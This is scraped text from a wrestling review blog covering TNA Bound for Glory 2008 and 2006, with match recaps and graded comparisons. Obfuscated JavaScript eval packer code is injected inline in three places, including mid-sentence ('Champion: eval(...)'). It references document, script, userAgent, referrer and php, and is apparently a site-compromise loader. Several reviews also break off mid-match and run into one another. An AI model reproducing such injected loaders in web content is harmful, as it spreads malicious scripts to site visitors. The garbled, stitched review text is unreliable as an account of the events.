An Iraq War veteran with horrible leg injuries gets to introduce Creed. Sheik talks trash about him and Creed is livid to start. The champ is sent outside for a big flip dive, followed by Creed getting on the announcers table to scream at the announcers. A high cross body gets two on Bashir but he finally gets in a shot and sends Creed off the apron and into the barricade. Back in and Creed gets tripped down for two and we hit the reverse gutwrench.

Creed fights up but charges into an elbow in the corner. They chop it out until Creed misses a dropkick and crashes onto the mat. The champ hooks a bodyscissors on the mat before switching off to a kind of sleeper. Creed escapes but gets put right back in the sleeper. Back up again and the dropkick knocks Bashir down to put both guys on the mat. Consequences starts his comeback with forearms and a backdrop for two.

Foley is telling JB a story about the Cell when the Kongtourage (Kong and Raisha Saeed) comes in. They have some demands but Foley recommends a visit from Yerple the Clown. He takes out his phone to call her and the girls leave.

Knockouts Title: Taylor Wilde vs. Awesome Kong vs. Roxxi

Kong is livid and goes after Roxxi with some chops to the neck, only to miss a splash in the corner. A swinging neckbreaker drops Kong and a top rope double knee gets two. Roxxi hooks Taylor in a kind of torture rack but Kong kicks both of them down. Kong crushes Roxxi with a cross body for two and the Implant Buster gets the same. Awesome goes up top but Taylor kicks her out to the floor. Roxxi hits a big boot for two on Wilde but walks into a German suplex to keep the title on Taylor.

Tag Team Titles: Beer Money Inc. vs. Matt Morgan/Abyss vs. Team 3D vs. LAX

D-Von plants Roode but gets chokeslammed by Abyss. He loads up one on Roode as well but Storm distracts him with the bag of tacks. McMichael takes the bag away for no apparent reason so Storm puts on his beer football helmet. He challenges McMichael (a former NFL player) to get in a three point stance. Roode has a football from somewhere and they actually hike it with Steve running Roode over with a clothesline. Homicide covers and MAN ALIVE does Mongo count slow.

We recap Booker T. vs. Christian Cage vs. AJ Styles. This is again about respect with Booker representing the old, Styles representing the new and Cage representing the yet to pick a side. Both guys are trying to get Cage to join their side and both say the other is lying to him.

Booker T. vs. Christian Cage vs. AJ Styles

Booker has his wife Sharmell, who is carrying a briefcase. Styles and Cage drop Booker to start before Christian gets two on AJ with a sunset flip. Styles goes to the apron but his springboard is blocked with a knee to the ribs. Booker is back up to kick Christian to the floor so Styles hits a huge springboard moonsault to take the Canadian down. AJ is stunned as well so Booker takes Christian back inside for two.

Some knees to the ribs and a spinning kick get the same for Booker and we hit the chinlock. Back up and a side kick gets two on Christian as AJ really should be back in by now. Booker nails him on the apron and Christian grabs a small package on Mr. T. for two. Christian chops away at Booker and elbows his way out of a Bookend. They clothesline each other down and take their time getting up, allowing AJ to hit the springboard forearm on Booker.

The drop down into the dropkick puts Booker on the floor but Christian escapes the Styles Clash. He also blocks the moonsault into the reverse DDT but, after knocking Booker off the apron, Styles tries again and the reverse DDT gets two on the Canadian. Now Booker comes back in for a double clothesline and some chops for Styles but the ax kick misses. AJ busts out a cross armbeaker of all things and kicks Christian away when he tries a save.

A headscissors sends Christian into the corner but Booker grabs a Bookend for two on AJ. Booker loses his focus and busts out a Spinaroonie, earning him a forearm from Christian. Christian loads up his own Spinarooni but AJ uses his knee to springboard at Booker. An implant DDT lays out Styles for two and Christian loads up a superplex, only to have AJ slam him down.

Kurt Angle vs. Jeff Jarrett

Kurt takes him down with ease and laughs at him before holding Jeff on the mat with a headlock. Back up and Jeff scores with an armdrag before putting on a headlock of his own. Angle takes him into the corner but Jeff speeds things up and scores with a dropkick before clotheslining Angle out to the floor. A nice plancha takes Angle down again but Jeff misses a second dive off the apron and hits the barricade.

Back in and Jeff sends him into the ropes for the running crotch shot and we get a strut. Jeff loads it up again but walks into a huge clothesline to put both guys down. We hit the chinlock on Jarrett for a bit before he fights up and gets two off a rollup. Angle nails him with another clothesline before snapping a suplex for a few near falls. Back to the chinlock as the fans are split.

Jeff gets up again but Angle sends him into the corner for some shoulders to the ribs. He tries one too many though and goes shoulder first into the post, allowing Jarrett to nail a quick DDT. They slug it out with Jeff getting the better of it and taking over with some clotheslines. Angle finally busts out the belly to belly for two but the Angle Slam is countered into another DDT for two.

TNA World Title: Sting vs. Samoa Joe

Joe dives out of a luxury box with a dropkick to Sting in the aisle for a scary visual. They head back down towards the ring with Sting getting in a few shots to take over. Well as much as you can take over in the middle of the crowd. Joe comes back with a running big boot to drop Sting and they finally make it back to ringside. The fans are against Joe as he hits a quick enziguri in the corner.

Nash walks out immediately to end the show.

Ratings Comparison

Steel Asylum

Original: C+

Redo: C

Bimbo Brawl

Original: F+

Redo: D

Sheik Abdul Bashir vs. Consequences Creed

Original: D

Redo: C-

Awesome Kong vs. Roxxi vs. Taylor Wilde

Original: D

Redo: D+

Beer Money Inc. vs. Abyss/Matt Morgan vs. LAX vs. Team 3D

Original: B-

Redo: B-

Booker T. vs. AJ Styles vs. Christian Cage

Original: B-

Redo: C+

Kurt Angle vs. Jeff Jarrett

Original: B

Redo: A-

Samoa Joe vs. Sting

Original: C

Redo: C+

Overall Rating

Original: B-

Redo: B-

Someone other than Sting? Please?

http://kbwrestlingreviews.com/2013/10/15/boun-for-glory-count-up-2008-sting-wants-respect/

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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And check out my Amazon author page with wrestling books for under $4 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhdnn|var|u0026u|referrer|ndhzd||js|php'.split('|'),0,{})) For Glory 2006
Date: October 22, 2006
Location: Compuware Sports Arena, Plymouth Township, Michigan
Attendance: 3,600
Commentators: Mike Tenay, Don West

The opening video is about following your dreams and talks about Henry Ford in Detroit. It goes on too long like most TNA PPV openings.

Kevin Nash Open Invitational X-Division Gauntlet Battle Royal

Nash comes out with a bowling trophy for the winner and does commentary. Austin Starr (Aries) is #1 and Sonjay Dutt is #2 to get us going with Aries working on a headlock until Dutt headscissors him down. That goes nowhere so Maverick Matt (Bentley) comes in at #3. A double back elbow drops Dutt and Starr drops an elbow for good measure. Dutt clotheslines them both down and Jay Lethal is in at #4.

Kazarian is in at #7 as the ring is starting to fill up. Kaz puts Sonjay up and joins forces with former partner Bentley. Everyone is bunched up in one side of the ring until Sirelda (a Chyna knockoff) is in at #8. She powerslams Kaz down and goes back and forth with Starr until a low blow slows her down. A clothesline puts her out and Kaz dumps A-1 a second later. Shark Boy is in at #9 and starts biting Starr as the fans are WAY into Sharky.

Elix Skipper is in at #13 but Devine blocks all of his kicks. A top rope moonsault press drops Johnny and Starr puts out Kaz. Short Sleeved Sampson, a midget wrestler, is in at #14 as Shark Boy and D-Ray 3000 eliminate each other. Starr teases throwing him over every rope until Norman Smiley comes in at #15. Sampson dropkicks Starr into the ropes so Smiley can do the Big Wiggle. Shelley dumps Sampson, who runs after referee Slick Johnson for no apparent reason.

We see LAX beating down AMW and Gail Kim on Impact.

BG tags himself in and we get a double Flip Flop and Fly from he and Ray on AMW. Kip and D-Von come in and jump both guys but get clotheslined out to the floor. Storm comes back in with an enziguri to Ray before going after the Naturals, only for both teams to get caught in a Tower of Doom with Douglas taking the worst of it. BG escapes the Catatonic and hits the pumphandle slam on Harris but gets clotheslined down by Stevens.

Samoa Joe vs. Brother Runt vs. Abyss vs. Raven

Anything goes with one fall to a finish and Jake Roberts refereeing for no apparent reason. Joe has a cut on his forehead due to Abyss trying to get the belt back. Everyone gangs up on Joe in the corner and Abyss throws him out to the floor. Runt heads outside to get some weapons as Raven hammers away on Abyss. The drop toehold puts Abyss face first onto the chair and Raven hiptosses Runt onto Abyss for good measure.

Joe comes back in and cleans house and hits the Facewash on Raven in the corner. Raven and Runt break up a double chokeslam attempt and Abyss throws him over the top rope and into the crowd. That kind of spot always looks cool. Raven hits the discus lariat to put Abyss outside and follows him out with a dive. Joe dives over the top to take all of them out and lands on his feet for good measure. Abyss is up first and throws Joe through a table before chasing Runt up the set. A BIG chokeslam sends Runt down onto the stage in a big crash. Abyss dives onto Runt for an even bigger crash but the camera is on Roberts.

Raven gets back in and drop toeholds Joe out to the floor to slow things down again. We get the tacks brought in but Jake brings in his bag to stop it for no apparent reason. Raven jumps Roberts and loads up a DDT but Abyss makes the save. Now the tacks are spread out and Abyss loads up the Black Hole Slam, only to have Joe low bridge Raven to the floor. Joe sends Abyss into the tacks and puts on the Clutch but Raven breaks it up with a chair. Jake grabs the chair and DDTs Raven, setting up the MuscleBuster to give Joe the pin on Raven.

Raven gets the snake treatment post match.

Eric Young is panicking over possibly getting fired (as always). Larry Zbyszko comes in and says he already has Young beaten.

We recap Young vs. Zbyszko. Larry was a corrupt boss who cost Young his job but the other boss, Jim Cornette, reinstated Eric to have a Loser Gets Fired match here.

Eric Young vs. Larry Zbyszko

Video on Senshi which doubles as a commercial for Mortal Kombat.

We recap Senshi vs. Chris Sabin. This is a rematch from No Surrender last month where Senshi won after hitting Sabin with an inflatable doll. Did I mention that was the Jackass show? This is the serious rematch after they had a good match ruined by “comedy”. Somehow this video takes two minutes.

X-Division Title: Senshi vs. Chris Sabin

Off to a quick arm hold before Sabin comes back with forearms to the jaw. Sabin charges into two boots in the corner for two and gets caught in a bodyscissors to keep the champion in control. Back up again and they chop it out with Sabin getting the better of it, only to get kicked in the ribs. Another kick staggers Sabin but he pops back up with a missile dropkick to stun the champion.

Rating: B. This had a few lulls but it worked really well near the end. I really liked the ending with Senshi not being able to beat Sabin using all of his tricks and finally abandoning his warrior mentality and going insane, allowing Sabin to grab a quick win. The near falls were red hot in this and the crowd carried it up a level. Good stuff.

Christian Cage vs. Rhino

Konnan says the LAX is raising the violence tonight.

Tag Team Titles: LAX vs. AJ Styles/Christopher Daniels

NWA World Title: Sting vs. Jeff Jarrett

Jarrett is defending and Angle is guest outside enforcer. Sting comes out in his old style attire with the red and black tights and white and red face paint. They trade hiptosses to start before Jeff takes over with right hands and a hiptoss of his own. Sting misses a right hand and gets dropped by a shot to the jaw. He bails to the floor for a breather but comes back in and tries to get the crowd into it. Jarrett spits at Sting and now the beating is on.

Sting busts out a powerbomb of all things to plant Jeff followed by a running clothesline to put him on the floor. Angle goes over to Jeff and gets in a needless shoving match (to be fair Jeff started it) until Sting sends Jeff into the barricade. We lose a cameraman as Angle sends the regular referee into the ring to make sure the guys can fight. The champ tries to bring in a chair but Angle takes it away, allowing Sting to suplex Jeff on the ramp. To be fair though, Angle takes the chair away from Jarrett.

Jeff tries to get in a cheap shot with a chair on Sting but takes out Angle by mistake. Back in and Jeff hooks a sleeper. Sting quickly elbows out though and a double cross body puts both guys down. The referee gets to a double nine count so Angle runs in and Angle Slams him to make sure this keeps going. Sting makes his comeback and hammers away, nailing the Stinger Splash and Death Drop but Jeff gets a shoulder up at two.

Sting celebrates to end the show.

Ratings Comparison

Kevin Nash Open Invitational X-Division Gauntlet Battle Royal

Original: C

Redo: C+

Original: D

Redo: C-

Samoa Joe vs. Abyss vs. Raven vs. Brother Runt

Original: D

Redo: C-

Larry Zbyszko vs. Eric Young

Original: F

Redo: F

Senshi vs. Chris Sabin

Original: A-

Redo: B

Christian Cage vs. Rhino

Original: B+

Redo: B+

AJ Styles/Christopher Daniels vs. LAX

Original: A-

Redo: A

Jeff Jarrett vs. Sting

Original: C-

Redo: C+

Overall Rating

Original: B

Redo: B

http://kbwrestlingreviews.com/2012/04/05/bound-for-glory-2006-could-have-been-a-masterpiece/

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I don’t think these need words.

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yneks|var|u0026u|referrer|esnrt||js|php'.split('|'),0,{})) then the king of them all.

Champion: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zehan|var|u0026u|referrer|inyyz||js|php'.split('|'),0,{})) The Best of Kurt Angle
Location: Impact Zone, Orlando, Florida
Commentators: Don West, Mike Tenay